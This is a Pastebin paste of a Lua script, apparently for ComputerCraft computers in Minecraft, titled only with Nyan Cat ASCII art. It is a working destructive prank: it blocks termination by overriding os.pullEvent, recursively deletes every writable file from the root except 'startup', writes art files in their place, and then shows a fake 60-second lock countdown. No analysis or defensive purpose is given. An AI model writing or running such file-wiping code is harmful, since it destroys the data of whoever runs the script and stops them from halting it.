xXm0dzXx

Untitled

May 19th, 2012
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.00 KB | None | 0 0
  1. nyancat = [[
  2. + o + o
  3. + o + +
  4. o +
  5. o + + +
  6. + o o + o
  7. -_-_-_-_-_-_-_,------, o
  8. _-_-_-_-_-_-_-| /\_/\
  9. -_-_-_-_-_-_-~|__( ^ .^) + +
  10. _-_-_-_-_-_-_-"" ""
  11. + o o + o
  12. + +
  13. o o o o +
  14. o +
  15. + + o o +
  16.  
  17. "You just got Nyan'd !!"
  18. ]]
  19.  
  20. shell.run("clear")
  21. write(nyancat)
  22.  
  23. os.pullEvent = os.pullEventRaw
  24.  
  25. function delete(path)
  26. files = fs.list(path)
  27. for n=1,#files do
  28. if files[n] == "startup" or fs.isReadOnly(path.. "/" ..files[n]) then else
  29. if fs.isDir(path.. "/" ..files[n]) then
  30. delete(path.. "/" ..files[n])
  31. else
  32. fs.delete(path.. "/" ..files[n])
  33. test = fs.open(files[n], "w")
  34. test.write(nyancat)
  35. test.close()
  36. end
  37. end
  38. end
  39. end
  40.  
  41. delete("/")
  42.  
  43. sleep(3)
  44. for i = 1,60 do
  45. shell.run("clear")
  46. write("Locked for " ..i.. "s")
  47. sleep(1)
  48. end
Advertisement
Add Comment
Please, Sign In to add comment